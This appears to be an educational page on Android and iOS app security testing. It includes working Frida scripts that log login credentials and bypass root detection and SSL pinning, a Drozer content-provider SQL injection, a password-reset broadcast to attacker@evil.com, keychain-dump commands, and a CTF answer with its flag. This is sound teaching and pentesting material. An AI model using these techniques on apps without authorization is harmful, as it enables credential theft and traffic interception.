Mobile Application Security
Mobile applications handle some of the most sensitive data in existence: banking credentials, health records, biometrics, location history, and private communications. Unlike web applications where the server controls everything, mobile apps ship a compiled binary to the user's device — giving attackers full access to the client-side code, storage, and communication channels.
Mobile security testing combines reverse engineering, network interception, runtime manipulation, and API testing. This page covers the methodology, tools, and techniques used to assess Android and iOS applications for security vulnerabilities.
Related: Cybersecurity Overview | Web App Pentesting | API Security Testing | Reverse Engineering
Authorization Required
Only test mobile applications you own or have explicit written permission to test. Decompiling and analyzing third-party applications may violate terms of service. Use bug bounty programs or your own applications for practice.
Mobile Security Testing Methodology
Testing Environment Setup
| Component | Android | iOS |
|---|---|---|
| Device | Rooted physical device or emulator | Jailbroken iPhone or Corellium |
| Proxy | Burp Suite + certificate installed | Burp Suite + certificate installed |
| Decompiler | jadx, apktool, dex2jar | Hopper, Ghidra, class-dump |
| Hooking | Frida, Xposed | Frida, Objection |
| Automated Scanner | MobSF, QARK | MobSF, idb |
| Network | Wi-Fi ADB proxy or VPN | Wi-Fi proxy or VPN |
Android Security Testing
APK Decompilation
Android APKs are ZIP files containing Dalvik bytecode (DEX files), resources, and the manifest. Decompilation recovers near-original Java/Kotlin source code.
# Download APK from device
adb shell pm list packages | grep target_app
adb shell pm path com.target.app
adb pull /data/app/com.target.app-1/base.apk
# Decompile with jadx (recommended — produces readable Java)
jadx -d output_dir base.apk
# Decompile with apktool (preserves resources, smali format)
apktool d base.apk -o apktool_output
# Convert DEX to JAR for JD-GUI
d2j-dex2jar base.apk -o output.jar
# Key files to examine after decompilation:
# AndroidManifest.xml — permissions, exported components, debug flag
# res/values/strings.xml — hardcoded strings, API endpoints
# assets/ — embedded databases, configuration files
# lib/ — native libraries (.so files)Static Analysis Checklist
# Check for hardcoded secrets
grep -rn "API_KEY\|SECRET\|PASSWORD\|TOKEN\|api_key\|secret_key" output_dir/
grep -rn "https\?://[a-zA-Z0-9.-]*" output_dir/ # API endpoints
grep -rn "BEGIN RSA PRIVATE KEY\|BEGIN CERTIFICATE" output_dir/
# Check AndroidManifest.xml
# Look for:
# - android:debuggable="true" (should be false in production)
# - android:allowBackup="true" (data can be extracted via adb backup)
# - android:exported="true" on activities/services/receivers
# - Excessive permissions (CAMERA, CONTACTS, LOCATION without justification)
# - Custom permissions with incorrect protection levels
# Check for insecure network configuration
# res/xml/network_security_config.xml
# Look for: cleartextTrafficPermitted="true", custom trust anchors| Finding | Risk | Example |
|---|---|---|
debuggable=true | High | Attacker can attach debugger, step through code |
allowBackup=true | Medium | App data extractable via adb backup |
| Hardcoded API keys | High | Keys for AWS, Firebase, Google Maps in source |
| Exported activities | Medium | Other apps can launch internal activities |
| HTTP traffic allowed | High | Credentials sent in cleartext |
| Weak crypto (MD5, SHA1 for passwords) | High | Hashes trivially crackable |
Frida Hooking (Android)
Frida is a dynamic instrumentation toolkit that lets you inject JavaScript into running processes. It is the single most powerful tool for mobile security testing.
# Install Frida
pip install frida-tools
# Push Frida server to Android device
adb push frida-server-16.x.x-android-arm64 /data/local/tmp/frida-server
adb shell chmod 755 /data/local/tmp/frida-server
adb shell /data/local/tmp/frida-server &
# List running processes
frida-ps -U
# Attach to running app
frida -U com.target.app
# Spawn app with Frida
frida -U -f com.target.app --no-pause// Frida script — hook a method and log arguments
Java.perform(function() {
// Hook the login method
var LoginActivity = Java.use("com.target.app.LoginActivity");
LoginActivity.login.implementation = function(username, password) {
console.log("[*] Login called");
console.log("[*] Username: " + username);
console.log("[*] Password: " + password);
// Call original method
return this.login(username, password);
};
});// Frida script — bypass root detection
Java.perform(function() {
// Hook common root detection methods
var RootDetection = Java.use("com.target.app.security.RootDetection");
RootDetection.isRooted.implementation = function() {
console.log("[*] isRooted() called — returning false");
return false;
};
// Hook Runtime.exec to block 'su' and 'which su' checks
var Runtime = Java.use("java.lang.Runtime");
Runtime.exec.overload("java.lang.String").implementation = function(cmd) {
if (cmd.indexOf("su") !== -1) {
console.log("[*] Blocked root check command: " + cmd);
throw Java.use("java.io.IOException")
.$new("Cannot run program");
}
return this.exec(cmd);
};
// Hook File.exists to hide root binaries
var File = Java.use("java.io.File");
File.exists.implementation = function() {
var path = this.getAbsolutePath();
if (path === "/system/bin/su" ||
path === "/system/xbin/su" ||
path === "/sbin/su") {
console.log("[*] Hidden root binary: " + path);
return false;
}
return this.exists();
};
});// Frida script — SSL pinning bypass (universal)
Java.perform(function() {
// Bypass OkHttp3 CertificatePinner
try {
var CertificatePinner = Java.use(
"okhttp3.CertificatePinner"
);
CertificatePinner.check.overload(
"java.lang.String", "java.util.List"
).implementation = function(hostname, peerCertificates) {
console.log("[*] OkHttp3 pin bypass for: " + hostname);
return; // Do nothing — bypass pin check
};
} catch(e) {
console.log("[-] OkHttp3 not found");
}
// Bypass TrustManager
var TrustManagerImpl = Java.use(
"com.android.org.conscrypt.TrustManagerImpl"
);
TrustManagerImpl.verifyChain.implementation = function() {
console.log("[*] TrustManager bypass");
return arguments[0]; // Return the chain as-is
};
});Drozer (Android Component Testing)
Drozer tests Android components: activities, services, broadcast receivers, and content providers.
# Install Drozer agent on device, start server
adb forward tcp:31415 tcp:31415
drozer console connect
# Enumerate attack surface
dz> run app.package.attacksurface com.target.app
# Output: 3 activities exported, 2 content providers exported
# List exported activities
dz> run app.activity.info -a com.target.app
# Launch an exported activity directly (bypass auth)
dz> run app.activity.start --component com.target.app com.target.app.AdminActivity
# Query exported content providers
dz> run app.provider.query content://com.target.app.provider/users
# SQL injection in content provider
dz> run app.provider.query content://com.target.app.provider/users --projection "* FROM sqlite_master WHERE type='table';--"
# Test broadcast receivers
dz> run app.broadcast.send --action com.target.app.RESET_PASSWORD --extra string email attacker@evil.comiOS Security Testing
IPA Analysis
# Extract IPA from jailbroken device
# Use tools like frida-ios-dump or bfinject
# Unzip IPA (it is a ZIP file)
unzip app.ipa -d ipa_contents/
# Key files to examine:
# Payload/App.app/Info.plist — app configuration, URL schemes
# Payload/App.app/embedded.mobileprovision — provisioning profile
# Payload/App.app/App — the Mach-O binary
# Dump classes from binary
class-dump Payload/App.app/App > classes.h
# Analyze binary with otool
otool -L Payload/App.app/App # List linked libraries
otool -ov Payload/App.app/App # Objective-C segments
# Check for PIE and stack canaries
otool -hv Payload/App.app/App
# Look for: PIE flag, stack canary (__stack_chk_guard)Objection (iOS and Android)
Objection is a runtime exploration toolkit powered by Frida.
# Install Objection
pip install objection
# Patch APK to include Frida gadget (no root needed)
objection patchapk -s base.apk
# Connect to running app
objection -g com.target.app explore
# Common Objection commands
objection> ios sslpinning disable # Bypass SSL pinning
objection> android sslpinning disable # Bypass SSL pinning
objection> ios keychain dump # Dump iOS Keychain
objection> android keystore list # List Android Keystore entries
objection> ios nsuserdefaults get # Read NSUserDefaults
objection> android hooking list classes # List loaded classes
objection> android hooking list class_methods com.target.app.LoginActivity
# Watch a method (log calls and arguments)
objection> android hooking watch class_method com.target.app.LoginActivity.login --dump-args --dump-return
# Search for specific patterns in memory
objection> memory search "password" --string
# Explore local file system
objection> env # Show app directories
objection> ls /data/data/com.target.app/ # List app files
objection> sqlite connect /data/data/com.target.app/databases/app.dbiOS-Specific Checks
| Check | How | Risk if Vulnerable |
|---|---|---|
| Keychain storage | objection> ios keychain dump | Sensitive data in insecure keychain items |
| Pasteboard leakage | Copy sensitive data, check pasteboard | Credentials in clipboard |
| URL scheme hijacking | Check Info.plist for custom URL schemes | Deep link hijacking |
| Snapshot leakage | Background the app, check snapshot cache | Screenshots of sensitive screens |
| Binary protections | otool -hv — check PIE, ARC, stack canary | Exploit mitigations missing |
| Data Protection class | Check NSFileProtectionComplete usage | Files accessible when locked |
Certificate Pinning Bypass
Certificate pinning ensures the app only trusts specific certificates, preventing man-in-the-middle attacks via proxy tools. Security testers need to bypass pinning to intercept traffic.
Bypass Methods Comparison
| Method | Difficulty | Root/JB Required | Persistence |
|---|---|---|---|
| Frida script | Easy | Yes (or patched APK) | Runtime only |
| Objection | Easy | Yes (or patched APK) | Runtime only |
| Patch APK (apktool) | Medium | No | Permanent |
| Magisk module (Android) | Easy | Yes | Persistent |
| SSL Kill Switch 2 (iOS) | Easy | Yes (jailbreak) | Persistent |
# Method 1: Objection (easiest)
objection -g com.target.app explore
objection> android sslpinning disable
# Method 2: Frida with pre-built script
frida -U -f com.target.app -l ssl_bypass.js --no-pause
# Method 3: Patch APK network security config
# Add to res/xml/network_security_config.xml:<!-- network_security_config.xml — trust user certificates -->
<network-security-config>
<base-config cleartextTrafficPermitted="true">
<trust-anchors>
<certificates src="system" />
<certificates src="user" /> <!-- Trust Burp certificate -->
</trust-anchors>
</base-config>
</network-security-config># Rebuild and sign the patched APK
apktool b apktool_output -o patched.apk
keytool -genkey -v -keystore test.keystore -alias test -keyalg RSA -keysize 2048 -validity 10000
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore test.keystore patched.apk test
zipalign -v 4 patched.apk patched-aligned.apk
adb install patched-aligned.apkOWASP Mobile Top 10
| # | Vulnerability | Description | Testing Approach |
|---|---|---|---|
| M1 | Improper Credential Usage | Hardcoded credentials, insecure storage | Static analysis, decompile, grep |
| M2 | Inadequate Supply Chain Security | Vulnerable libraries, tampered SDKs | Dependency scanning, SCA |
| M3 | Insecure Authentication/Authorization | Weak auth, bypassable client-side checks | Frida hooks, API testing |
| M4 | Insufficient Input/Output Validation | Injection, XSS in WebViews | Fuzzing, manual testing |
| M5 | Insecure Communication | Missing TLS, weak pinning, cleartext | Proxy interception, traffic analysis |
| M6 | Inadequate Privacy Controls | Excessive data collection, PII leakage | Traffic analysis, storage review |
| M7 | Insufficient Binary Protections | No obfuscation, debuggable, no integrity checks | Static analysis, tampering tests |
| M8 | Security Misconfiguration | Debug mode, excessive permissions, backup | Manifest review, config analysis |
| M9 | Insecure Data Storage | Plaintext in SharedPreferences, SQLite, logs | File system review, logcat |
| M10 | Insufficient Cryptography | Weak algorithms, hardcoded keys, poor RNG | Static analysis, crypto review |
Mobile API Security
Mobile apps communicate with backend APIs. Testing the API is often more fruitful than testing the app itself.
Common Mobile API Vulnerabilities
# 1. Broken Object-Level Authorization (BOLA)
# Change user ID in requests to access other users' data
# Original: GET /api/v1/users/123/profile
# Attack: GET /api/v1/users/124/profile
# 2. JWT token manipulation
# Decode JWT, check for weak signing algorithms
echo "eyJhbGciOiJIUzI1..." | base64 -d
# 3. API key extraction from decompiled source
grep -rn "x-api-key\|Authorization\|Bearer" decompiled_source/
# 4. Hardcoded endpoints for admin/debug APIs
grep -rn "/api/admin\|/api/debug\|/api/internal" decompiled_source/
# 5. Client-side validation only
# If the app enforces rules client-side, bypass with Burp
# Example: max transfer amount enforced in app but not APIClient-Side Security Is Not Security
Any check performed only on the mobile device can be bypassed. This includes:
- Input validation and business logic rules
- Root/jailbreak detection
- Certificate pinning
- Anti-tampering checks
- Obfuscation (it slows down, but never prevents, reverse engineering)
Always validate server-side. Client-side checks are defense-in-depth, not primary controls.
Local Data Storage Testing
| Storage | Android | iOS | Risk |
|---|---|---|---|
| Preferences | SharedPreferences (XML) | NSUserDefaults (plist) | Plaintext on rooted/JB devices |
| Database | SQLite | SQLite / CoreData | Plaintext unless encrypted |
| Files | Internal/external storage | App sandbox | External storage world-readable |
| Keychain/Keystore | Android Keystore | iOS Keychain | Most secure, but check access controls |
| Logs | Logcat | Console/syslog | Never log sensitive data |
| Clipboard | ClipboardManager | UIPasteboard | Cross-app accessible |
| WebView cache | WebView cache dir | WKWebView cache | May contain tokens/credentials |
# Android — check SharedPreferences
adb shell cat /data/data/com.target.app/shared_prefs/*.xml
# Android — check SQLite databases
adb pull /data/data/com.target.app/databases/
sqlite3 app.db ".tables"
sqlite3 app.db "SELECT * FROM users;"
# Android — check logcat for sensitive data
adb logcat | grep -i "password\|token\|key\|secret"
# iOS — check NSUserDefaults
objection> ios nsuserdefaults get
# iOS — check Keychain
objection> ios keychain dumpAutomated Scanning with MobSF
Mobile Security Framework (MobSF) provides automated static and dynamic analysis.
# Run MobSF with Docker
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf
# Access web interface at http://localhost:8000
# Upload APK or IPA for analysis
# MobSF checks:
# - Hardcoded secrets and API keys
# - Insecure permissions
# - Debuggable flag
# - Network security configuration
# - Known vulnerable libraries
# - Code analysis for common patterns
# - Malware indicatorsTool Summary
| Tool | Platform | Use Case | Type |
|---|---|---|---|
| MobSF | Android + iOS | Automated static/dynamic analysis | Scanner |
| jadx | Android | APK decompilation to Java | Decompiler |
| apktool | Android | APK decompilation to smali + resources | Decompiler |
| Frida | Android + iOS | Runtime hooking and instrumentation | Dynamic |
| Objection | Android + iOS | Runtime exploration (Frida-powered) | Dynamic |
| Drozer | Android | Component testing (activities, providers) | Dynamic |
| Burp Suite | Both | Network traffic interception | Proxy |
| Ghidra | Both | Native library (.so/.dylib) analysis | RE |
| class-dump | iOS | Objective-C class extraction | Static |
Mobile Security Testing Checklist
| # | Check | Tools | Pass Criteria |
|---|---|---|---|
| 1 | No hardcoded secrets in source | jadx, grep | Zero API keys, passwords, or tokens in code |
| 2 | Certificate pinning implemented | Frida, Objection | Proxy rejected without bypass |
| 3 | Root/jailbreak detection | Frida | Detection present (defense-in-depth) |
| 4 | Sensitive data encrypted at rest | adb, Objection | No plaintext in SharedPrefs/SQLite/logs |
| 5 | No sensitive data in logs | logcat, Console | Zero PII/credentials in logs |
| 6 | Strong authentication | Burp Suite | Server-side validation, no client-only auth |
| 7 | Proper session management | Burp Suite | Token expiry, revocation, rotation |
| 8 | No exported components with sensitive data | Drozer | Components properly protected |
| 9 | WebView security | Static analysis | JavaScript disabled unless needed, no file access |
| 10 | Binary protections | otool, checksec | PIE, stack canary, obfuscation present |
Further Reading
- Web App Pentesting — Web vulnerabilities that apply to mobile backends
- API Security Testing — Comprehensive API testing methodology
- Reverse Engineering — Native library analysis with Ghidra
- Bug Bounty Hunting — Mobile bugs in bug bounty programs
- Security Certifications — eMAPT, GMOB certifications
Key Takeaway
- Mobile apps ship their code to the attacker — decompilation with jadx reveals source code, API keys, and hardcoded secrets in minutes
- Frida is the most powerful mobile security testing tool: it hooks methods at runtime to bypass root detection, SSL pinning, and authentication checks
- Client-side security is not security — every check performed only on the device (input validation, root detection, pinning) can and will be bypassed
Hands-On Lab
Lab: Android Application Security Assessment
- Install an intentionally vulnerable Android app (e.g., DIVA, InsecureBankv2, or OWASP MSTG apps)
- Decompile the APK with jadx and search for hardcoded secrets (
grep -rn "API_KEY\|SECRET\|PASSWORD") - Review the AndroidManifest.xml for
debuggable=true,allowBackup=true, and exported components - Set up Frida on a rooted emulator and write a script to hook the login method and log credentials
- Bypass SSL certificate pinning using Objection (
android sslpinning disable) - Intercept API traffic with Burp Suite and test for BOLA/IDOR vulnerabilities
- Check local storage: examine SharedPreferences, SQLite databases, and logcat for sensitive data
- Run MobSF automated analysis and compare findings with your manual analysis
CTF Challenge
Challenge: The Locked App
An Android banking app has root detection, SSL pinning, and an encrypted local database. You need to: bypass root detection, intercept the API traffic, and find the admin API endpoint hidden in the source code.
Hints:
- Root detection checks for
/system/bin/suand thesubinary — hookFile.exists()with Frida - SSL pinning uses OkHttp3 CertificatePinner — use the universal bypass script
- The admin endpoint is in a decompiled class called
ApiConfigorConstants
Answer
Deploy Frida server, attach to the app, and run the root detection bypass script (hook File.exists to return false for su paths). Run the SSL pinning bypass script (hook OkHttp3 CertificatePinner.check to do nothing). Traffic now flows through Burp Suite. Decompile the APK with jadx and search for ApiConfig — find the hidden admin endpoint /api/v1/admin/users. Access it through Burp with the intercepted auth token. Flag: CTF{frida_hooks_unlock_everything}.
:::
Common Misconceptions
- "Obfuscation protects mobile apps from reverse engineering" — Obfuscation (ProGuard, R8) renames variables and classes but does not prevent decompilation. It slows attackers down but never stops them.
- "Root/jailbreak detection makes the app secure" — Root detection is defense-in-depth, not a security boundary. Frida and Magisk modules bypass every known root detection technique.
- "iOS apps are more secure than Android apps" — Both platforms have similar vulnerability classes. iOS's sandbox is slightly stronger, but jailbroken devices and Frida work equally well on both.
- "Certificate pinning prevents all MITM attacks" — Pinning prevents interception by unauthorized proxies, but authorized testers bypass it trivially with Frida or Objection. It is defense-in-depth, not an absolute control.
- "Mobile apps do not need server-side validation" — This is the most dangerous misconception. Every validation, business rule, and security check must be enforced server-side. The mobile client is untrusted.
Quiz
1. What tool decompiles Android APK files into readable Java source code?
a) Ghidra b) jadx c) Burp Suite d) Nmap
Answer
b) jadx decompiles Dalvik bytecode (DEX files) in Android APKs back into readable Java source code, making it the primary tool for Android static analysis.
2. What does the android:allowBackup="true" flag in AndroidManifest.xml allow?
a) Automatic app updates b) App data extraction via adb backup without root c) Cloud synchronization d) Debug logging
Answer
b) When allowBackup is true, anyone with physical access or ADB access can extract the app's data (databases, SharedPreferences, files) using adb backup, potentially exposing credentials and sensitive data.
3. What is the primary risk of storing sensitive data in Android SharedPreferences?
a) SharedPreferences are slow b) SharedPreferences are stored as plaintext XML files accessible on rooted devices c) SharedPreferences have a size limit d) SharedPreferences cannot store strings
Answer
b) SharedPreferences store data as plaintext XML files in the app's data directory. On a rooted device, these files are directly readable, exposing any sensitive data stored in them.
4. Why is Frida more powerful than static analysis alone for mobile testing?
a) Frida is faster b) Frida can modify runtime behavior, bypass security controls, and observe actual data flow c) Frida works without a device d) Frida finds more CVEs
Answer
b) Frida injects into the running process and can hook any method, modify arguments and return values, bypass runtime checks (root detection, pinning), and observe actual decrypted data flow — things impossible with static analysis alone.
5. According to OWASP Mobile Top 10, what is M1?
a) Insecure Communication b) Improper Credential Usage c) Insecure Data Storage d) Insufficient Cryptography
Answer
b) M1 (2024) is Improper Credential Usage — hardcoded credentials, insecure credential storage, and improper handling of authentication tokens in mobile applications.
:::
One-Liner Summary: Every mobile app is an open book to anyone with jadx and Frida — the real security must live on the server.